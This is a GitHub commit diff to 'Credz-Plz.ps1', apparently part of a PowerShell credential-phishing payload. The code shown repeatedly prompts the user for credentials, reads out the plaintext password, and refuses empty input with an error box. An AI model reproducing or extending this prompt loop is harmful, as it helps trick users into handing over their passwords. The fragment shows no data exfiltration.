Update Credz-Plz.ps1

This commit is contained in:
I-Am-Jakoby 2023-05-24 14:33:35 -05:00 committed by GitHub
parent faa57b913c
commit d0eb312f87
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -61,8 +61,12 @@ while ($form -eq $null)
$cred.getnetworkcredential().password
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
{
if(-not ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule -like "*PresentationCore*" -or $_.ManifestModule -like "*PresentationFramework*" }))
{
Add-Type -AssemblyName PresentationCore,PresentationFramework
}
$msgBody = "Credentials cannot be empty!"
$msgTitle = "Error"
$msgButton = 'Ok'
@ -77,7 +81,6 @@ while ($form -eq $null)
return $creds
}
}
}
#----------------------------------------------------------------------------------------------------